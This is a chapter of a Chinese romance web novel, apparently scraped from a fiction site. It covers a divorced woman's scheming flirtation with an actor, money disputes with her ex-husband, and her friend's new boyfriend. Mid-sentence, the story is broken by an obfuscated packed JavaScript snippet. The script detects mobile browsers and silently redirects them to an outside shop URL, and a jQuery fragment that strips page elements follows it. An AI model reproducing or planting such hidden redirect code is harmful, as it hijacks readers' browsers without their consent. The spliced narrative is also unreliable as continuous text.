文趣网 > 都市小说 > 医生建议我们离婚 > 13. Chaptet13
    “你这故事背景是在古代啊。”席玉文说。

    徐观鱼:“古代架空,主要是探案的。吃饭的时候别看,第二话有尸体。”

    席玉文倒是没注意到什么尸体。

    “那你来南城大学采的是哪门子的景?”

    徐观鱼手上动作一顿,眼前浮现出咖啡厅的场景。

    赵迎敲完那句“正好我今天要去南城大学采景,给你带杯咖啡”后她也发出了类似的疑问,问他:“我画的是古代设定,去大学采什么景?”

    赵迎眯起一双狐狸眼,唇角弯弯:“疑惑就对了,他也会这么疑惑的。到时候你……”

    什么都不用说,只需要回避他的疑问,他自然会浮想联翩。

    徐观鱼默默照做,她把头低得更深,装作不自在地用筷子扒拉瓷碗里的米粒。

    果不其然,席玉文没有追问,而是意味不明地轻笑了两声。

    徐观鱼装没听见。

    饭继续吃,席玉文的心却不在菜里,两只眼都盯着屏幕,扒拉个没完。

    “我怎么没在排行榜上看到你这部?”他问。

    真是不需要情商的大少爷,哪壶不开提哪壶,徐观鱼淡淡道:“画得丑,更新慢,没人看。”

    席玉文:“哦。要不给你刷刷数据?”

    “不用。”徐观鱼严词拒绝,“你把我投到榜上也是挨骂。”

    席玉文想了想,“也是,你这画风确实挺…青涩的。”

    也许是这次停顿让席三少情商燃尽了,之后他说的每一句话,都听得徐观鱼想踹他:

    “没多少收藏啊,你这赚不了多少钱吧?”

    “把这个当全职的话,心里不好受吧。”

    “诶呀我看你最近的更新不光没什么进步,还退步不少呢。怎么会想到画画的呢,你这很明显没天赋啊。”

    筷子一撂,徐观鱼面无表情地盯着他看。

    她眼神中的幽怨如有实质,席玉文被逗乐了,眼看要把人惹毛,他轻咳两声,话锋一转:“不过时间安排也自由吧,要不给我当两个月助理,赚点外快?”

    他这提议出乎徐观鱼的意料。

    三个小时前她还向赵迎讨教建立联系这件事,总不能每一面都靠制造“偶遇”。当时赵迎急着上班,没时间详细说,只提醒她往尽量剧组钻。

    没想到一瞌睡就有人递枕头,这席玉文自己送上门来了。

    不能表现得太明显,于是徐观鱼问:“你不是有助理吗?”

    “拍摄很累的,助理当然是多多益善。”席玉文随口道:“你就说干不干吧。”

    一声“行”到了嘴边,徐观鱼又想起了赵迎的叮嘱:暧昧期最重要的是拉扯,想说的话要绕一圈再说。

    “我…”顶着席玉文炯炯的目光,徐观鱼淡然地扯了扯唇角,“考虑考虑。”

    一如来时没什么声响,她走的时候也悄摸摸的,黑色鸭舌帽压得很低,没引起任何人注意。

    席玉文拉开一点帘子,透过车窗目送她低调的背影,直到她的衣摆也消失在转角,他扭过头问旁边的经纪人:“她这就是欲擒故纵吧?”

    明媚阳光普照在宽阔的校园大道上,徐观鱼拾级走上人行道,步履平缓。路两侧高大的枫香树枝繁叶茂,叶片呈现出历经整个盛夏的墨绿色。

    微风吹动她被帽檐挤压的碎发,发尾扫过脸颊,带来丝丝痒意。

    伴随前方教学楼内传出的一道铃声,紧握在掌心的手机嗡嗡颤动。她点开一看,这次终于是赵寻林发来的消息。

    -什么意思,为什么给我转钱?

    徐观鱼放慢脚步,敲下回复:

    -平台限额,一天只能转1万,之前说好的15万我会分十五天打给你。

    “嗡嗡。”

    -我说过,不用,我有钱。

    徐观鱼看了两遍这句话。

    有钱?底薪八千有那么了不起吗?

    哼,给你狂的。

    她摁灭手机,不再回复。

    ————

    “啥意思,你从周一到周六连着给他转了六万,他周日又一口气给你打回来了?”

    热腾腾的火锅对面,晏杏表情惊讶,筷子间夹住的一块毛肚又掉回了锅里,溅起几滴红色热油。

    徐观鱼托着腮,有一搭没一搭地拨弄着小碗里的两片菜叶,双眼放空,“是啊。”

    “不儿,要不你俩商量商量呢?”晏杏不解,“那手续费留着买杯奶茶不香吗?”

    徐观鱼叹了口气,“就是商量不通,最开始说的好好的,他答应离婚,证领完我就把存款分他一半,结果他现在又死活不要了。”

    “啧,这算什么事。”晏杏瘪了瘪嘴,“从来都是听说夫妻离完婚为了撕巴那点碎银反目成仇人,像你们这种把钱当烫手山芋推过来推回去的,倒是活久见。”

    徐观鱼:“搞不懂他怎么想的。”

    “要不咱把道德心放一放?”晏杏给她出主意,“他不要你就自己留着嘛。”

    “我不想欠他的。”徐观鱼垂眸看着木制桌面上纹路,轻声说。

    晏杏盯着她看了两秒,倏地轻笑,“我看你是忘不掉他吧。欸——不要急着否认啊,我可是过来人。前两年我分手的时候不也是这个状态?联系方式都断完了,还老想着他过得好不好,说白了就是你就是还没放下。”

    徐观鱼扯了扯唇角,语气平静,“得了,情感大师,快吃吧你。”

    “你都叫我大师了,那我就不吝赐教,教你一招。”晏杏对她眨了眨眼,“听过有了新欢忘了旧爱吧?要想彻底忘了赵寻林,你就再找个新男人,找个比他更帅、更有钱、更爱你的。只要能谈上一段新感情,那我包你把这个前夫忘的没影。”

    说得轻巧,上哪找比赵寻林更爱她的男人?

    把全世界都翻一遍,也找不出来了。

    徐观鱼默默往嘴里塞了块肉,狠狠咽下后,转移话题:“对了,你说的那个朋友什么时候来?”

    晏杏看了眼腕表,“再过十来分钟吧。”

    “她真不吃晚饭吗?”

    徐观鱼刚才说等着她那个朋友过来了再一起吃,她说用不着,还要好一会儿呢。

    “没事,他在公司加班,吃过了。”

    说着,晏杏从掏出手提包中的粉底,对着小镜子检查了一下妆容。

    徐观鱼早注意到她今天的妆格外精致,本来还以为是画给几天没见的自己看的,现在看来大概率是她自作多情了。

    她意味深长地看向晏杏,问:“你不对劲,到底是新朋友还是新男朋友?”

    “朋友朋友,不过过几天可能就……”晏杏抬眸嘿嘿一笑,卷翘的睫毛扑闪扑闪。

    徐观鱼嘶了声,“谁啊,都快成了你也不跟我说。”

    “哎呀你别生气。”晏杏哒哒哒从对面跑到她边上,把她挤到座位里头,搂住她胳膊解释说:

    “刚开始我也没想到我俩能往这个方向发展,我之前看到他都绕着走。谁知道他私底下性格和在公司完全不一样,完全奶狗来着…嘿嘿,那我哪能扛得住啊。”

    “公司?是同事啊?”徐观鱼问。

    “对,而且你还见过呢……”

    眼看晏杏就要将这人的名字说出口,一对修长的腿先出现在她俩视线中。

    徐观鱼率先抬头,与来人对上视线的刹那,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492445|202297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眉头猛地蹙起。

    怎么又是他。

    而身旁的晏杏则撒开她的胳膊,站起身与夏明哲打招呼。

    “你来啦?嗯…你坐对面吧。”晏杏招呼着他,将自己用过的碗筷拿到一旁,给他腾出位置。

    夏明哲脸上挂着浅笑,声音和煦温柔:“来得有点晚了,不耽误你们吃饭吧。”

    “有啥耽误的。”晏杏还有点不自在,推了把他的手肘,“你快坐吧。”

    徐观鱼将他俩的互动看在眼里,没看出夏明哲的态度中有敷衍或做戏的成分,但还是膈应他的出现。

    晏杏暂时没察觉到徐观鱼的不对,坐回她身边后,她俏皮地对夏明哲眨了眨眼,“就不用我介绍了吧,你们见过的。”

    夏明哲的视线移到徐观鱼脸上,与她对视须臾,脸上笑容不变,眸色冷了两分,“是的,都是熟人了。”

    徐观鱼不冷不热地笑了声,端起手边的橙汁,作势敬他,“我猜是谁呢,原来是夏总监。”

    夏明哲保持着完美的微笑弧度,也端起手边的杯子喝了一口。

    那是晏杏刚才用过的。

    看出他眼中隐隐的挑衅,徐观鱼脸黑了几分。

    这顿饭的后半程,桌上笑声不断,但全是晏杏与夏明哲发出的,徐观鱼始终默不作声。

    快要散场的时候,和新欢打得火热的晏杏总算看出了徐观鱼的不对劲,趁夏明哲去卫生间,她问:“观鱼,你哪不舒服吗?”

    “还记得我呢。”徐观鱼酸溜溜地说。

    晏杏夸张地“唉哟”一声,“我怎么可能把你忘了?”

    远远看见夏明哲的身影从几米外的拐角处出现,徐观鱼低声对她说:“我确实有点不舒服,胃疼,你今天晚上去我家陪我好不好?”

    “胃疼?胃疼你咋不早说呢,要不去医院吧。”晏杏急忙道。

    “不用,我家里有药。”

    徐观鱼离婚这段时间,公司一直挺忙的,赵寻林搬走后她一个人住了那么多天,晏杏也没抽出时间去她家玩玩。

    正是因为太久没来,今夜一推门,她就看出了许多变动。

    屋子里有关男人和狗的东西全都消失不见,一百多平的空间有三分之一都空了出来,格外整洁,却也略显清冷。

    吃过药后,徐观鱼拉着晏杏窝在沙发上,装作不经意地问起:“你和夏明哲怎么熟悉起来的?”

    “说起来挺巧的,那天晚上我俩前后脚下班、前后脚进电梯,整好电梯坏了,在十楼卡了半小时。”

    晏杏毫不隐瞒,将细节描述地绘声绘色:

    “当时电梯里就我们两个,夏明哲把每个楼层都摁了一遍后,忽然开口安慰我。其实我一点都不怕,我还听出来他声音有点抖哈哈哈……后来我们突然往下掉了一层,他吓得往我身上挤,我还挺不自在的,但看他实在害怕,就搂住他的腰,再后来电梯门在九层开了……”

    “之后他可能觉得不好意思吧,怕我把这事说出去,一下楼就给我买了个冰淇淋,又连着给我送了好几天的奶茶,那我收了奶茶总得跟他说谢谢吧?一来二去的,就熟悉了。”

    徐观鱼怎么听都觉得夏明哲的害怕是装的,她暗暗吐槽了句:真能演,电梯哥。

    “那你觉得他是一个什么样的人呢?”

    晏杏:“工作的时候很严谨,私下很清澈、单纯,有时候还有点蠢。”

    徐观鱼心说完了。

    “清澈单纯蠢”就没有一个字是和夏明哲沾边的。

    一阵纠结后,她还是开口提醒晏杏:“其实他…人品不太行,你别被他骗了。”

    “啊?”晏杏皱了皱眉,“为什么这么说?”